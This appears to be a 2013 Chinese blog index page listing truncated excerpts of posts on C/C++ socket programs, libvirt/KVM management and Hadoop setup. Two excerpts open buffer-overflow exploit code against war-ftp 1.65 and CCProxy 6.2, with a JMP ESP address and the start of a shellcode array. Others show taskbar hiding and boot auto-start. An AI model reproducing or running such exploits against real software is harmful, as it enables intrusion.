- 博客(20)
- 资源 (10)
- 收藏
- 关注
原创 Linux平台基于C编写的文本通信平台
代码如下:#include #include #include #include #include#include#include #include #include #include #include #define MAX_SIZE 1024//用于发起连接int ConnetServer(char *strName,in
2013-03-19 21:40:56 821
原创 warftp缓存区溢出攻击C代码
针对war-ftp 1.65,当用户在执行登录时,若其用户名输入长度大于485,则会发生溢出错误,下面给出一段示例代码:#include #include #pragma comment(lib,"ws2_32")#define JUMPESP "\x12\x45\xfa\x7f"// exec calcchar shellcode[] = "\
2013-03-19 21:31:43 1681 1
原创 CCProxy缓存区溢出攻击代码
针对CCProxy6.2的一个缓存区溢出漏洞(telnet到CCProxy服务器,当执行ping命令主机名输入超过1012字节时),实现Shellcode的代码注入。 #include #include #include #pragma comment (lib,"ws2_32")// jmp esp address of chinese version
2013-03-19 21:27:43 2137
原创 发布一个C编写的Ping类
CPing.h// Ping.h: interface for the CPing class.////////////////////////////////////////////////////////////////////////#if !defined(AFX_PING_H__2EBF2C11_A0A3_403B_9EB2_1905CFF8EE58__INCLUDE
2013-03-19 21:09:35 1080
原创 应用程序从任务栏中隐藏的C代码
本条语句是将应用程序从任务栏中去掉 ModifyStyleEx(WS_EX_APPWINDOW, WS_EX_TOOLWINDOW); 对于MFC程序,可以放置于系统初始化。 另外保证应用程序唯一性的运转,可以用下面的代码(采用互斥技术): HANDLE hMutex = NULL; hMutex = ::CreateMutex(NULL,FALSE,"OPE
2013-03-19 21:06:55 1066
原创 应用程序开机自启动的C代码
分享一段开机自启动代码,基于VC++编译。 char drive[_MAX_DRIVE]; char dir[_MAX_DIR]; char fname[_MAX_FNAME]; char ext[_MAX_EXT]; _splitpath(__argv[0],drive,dir,fname,ext); CString path(drive); path+=dir
2013-03-19 21:03:10 1816
原创 基于UDP的多线程网络通信程序
分享一段基于UDP的多线程网络点对点通信程序。 文件一:CComm.h#ifndef _CCOMM_H_#define _CCOMM_H_#include #include #include #include #define socklen_t int#pragma comment(lib, "wsock32.lib")class CComm
2013-03-18 22:44:17 7780
原创 基于Socket与C的WEB页面抓取程序
基于C与Socket编写了一个HTTP页面检查程序,通过这个程序,可以加载指定WEB服务器上的页面信息,这在爬虫、抓取WEB页面、分析是否有挂马行为有参考意义。 代码如下://---#include #include #include #include #include #includechar *checkhttp(char *path){ WSADATA
2013-03-18 22:36:35 1791
原创 游戏客户器端通信框架(C++与Socket)
与之相对应的客户端代码,经过修改。文件一:stdafx.h//-------------------------------------------------------------------------//stdafx.h中的函数为全局共享////版权所有 DreamShip////--------------------------------------------
2013-03-18 22:32:25 3032
原创 游戏服务器端通信框架(C++与Socket)
这是一个小型多个对战的游戏服务器端代码,经过修改。文件一:stdafx.h//-------------------------------------------------------------------------//stdafx.h中的函数为全局共享////版权所有 DreamShip////------------------------------------
2013-03-18 22:26:35 14511 2
原创 基于C语言与原始套接字实现Ping程序
源代码如下:ping.h#pragma pack(1)//#define u_char unsigned char//#define u_short unsigned short #include#define ICMP_ECHOREPLY 0#define ICMP_ECHOREQ 8//////////////////////////////////type
2013-03-18 22:16:46 2584
原创 Java写的一个记事本工具
近日整理电脑发现了不少大学与研究生时期的软件作品,先发布出来了,一是记录一下十年的程序生涯;二是对于有需要的人可以利用之。 先发布一个记事本程序,这个记事本支持HTTP下载内容的显示。 运行截图如下: 源代码如下: Liunotepad.java/*记事本的制作: 仿Window notepad; 作者:my2005lb; 时
2013-03-15 23:02:14 1539
原创 libvirt管理ESX主机
ESX/ESXi平台得到了极为广泛的应用,对于ESX的管理可以由借助于VI工具、VCenter、SSH命令行等方式,这里给出一种基于Libvirt的方式。 采用的工具是Virsh,是基于Libvirt库开发。 一、连接ESX [root@kvm ~]# virsh -c esx://12.16.1.14/?no_verify=1Enter username for 12.
2013-03-12 14:26:46 1432
原创 评自主创新与自主实现
看了很多的所谓自主创新,越来越觉得称之为自主实现比较合适,创新以我的理解应该是世界首创,如果国外已经实现,然后借助于资料或者其他手段打听到对方的功能如何,性能如何,再进行的开发功能或性能上比人多一个或一个,实现应不能归于创新一类,只能称之为自主实现,因为你没有承担第一个吃螃蟹的风险。 这里之所以较这个真,主要是那些所谓的自主创新的“内行们”别忽悠人家外行,人都不傻,最后砸的是大家的名声与饭碗
2013-03-10 10:52:16 1061
原创 C+libvirt获取KVM存储池信息
分享一段代码,可以获取指定虚拟化宿主机器上的存储池信息,如:存储池名称、存储池容量、存储池状态、存储池可用、总计以及已使用容量,代码如下: #include #include #include int main(int argc, char *argv[]){ virConnectPtr conn; conn = virConnectOpen("qemu:///system");
2013-03-09 22:33:26 1838
原创 Libvirt库对虚拟化开发的价值
当前市面上多种虚拟化平台在支撑着各类用户的各种基础数据中心,有时候比较幸运用户统一虚拟化平台,如仅依赖于vmware,当然也面临其他用户同时混合多种虚拟化平台搭建自己的数据中心。不同的虚拟化平台存在对于用户来讲是福音,至少有了货比三家的机会;但对于开发者来讲,并不一定是好事,至少同样的功能针对不同的虚拟化平台要重新实现一遍。 当前流行的针对虚拟化的二次开发,要么是调用平台对外提供的
2013-03-09 22:27:28 2114
原创 如何在KVM中管理存储池
KVM平台以存储池的形式对存储进行统一管理,所谓存储池可以理解为本地目录、通过远端磁盘阵列(iSCSI、NFS)分配过来磁盘或目录,当然也支持各类分布式文件系统。 通过virsh中pool命令能够查看、创建、激活、注册、删除存储池。 下面通过一些实例演示如何管理存储池: 一、查看当前存储池列表[root@kvm02 kvmcontrol]# virs
2013-03-04 22:17:21 9540
原创 Hadoop集群(三节点)安装与部署
1.2.1 环境准备环境由三台服务器组成,分别为目录节点,内容节点,服务器列表如下所示:表1 主机环境准备IP机器名称10.0.0.201m1.hadoop10.0.0.209s1.hadoop10.0.0.211s2.hadoop下
2013-03-03 20:37:46 1969
原创 单节点Hadoop安装过程
1.1.1 环境准备本次由一台centos虚拟服务器搭建hadoop平台,机器信息如表1所示: 表1 主机环境准备名称信息IP10.1.1.20hostnameMaster.hadoop 为方便使用,现给出主机环境方面需要修改的地方:
2013-03-02 22:05:08 1617
原创 渐进式Hadoop学习方案
近期为一些用户培训Hadoop技术,最近也有一些同事、网友开始向我咨询这一方面的问题,很多初学者很难理清Hadoop到底是什么,甚至Hadoop与虚拟化、云计算的关系。 这里给出一个渐进式的学习与进阶方案: (1)先搭建一个单节点的 Hadoop平台,先将那些疑问放一边,先去学习如何搭建这个平台; (2)尝试用Hadoop管理各类文件,尝试将数据存放于其非关系型数据库中,尝试
2013-03-02 21:58:55 805
缓存区溢出攻击测试平台
2013-03-19
HTTP服务器(基于JAVA)
2013-03-18
HTTP服务器(基于C)
2013-03-18
宿舍管理系统
2013-03-16
SourceStat源代码统计器
2008-11-15
LiuDBMS
2008-05-13
LIuServer
2007-03-05
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人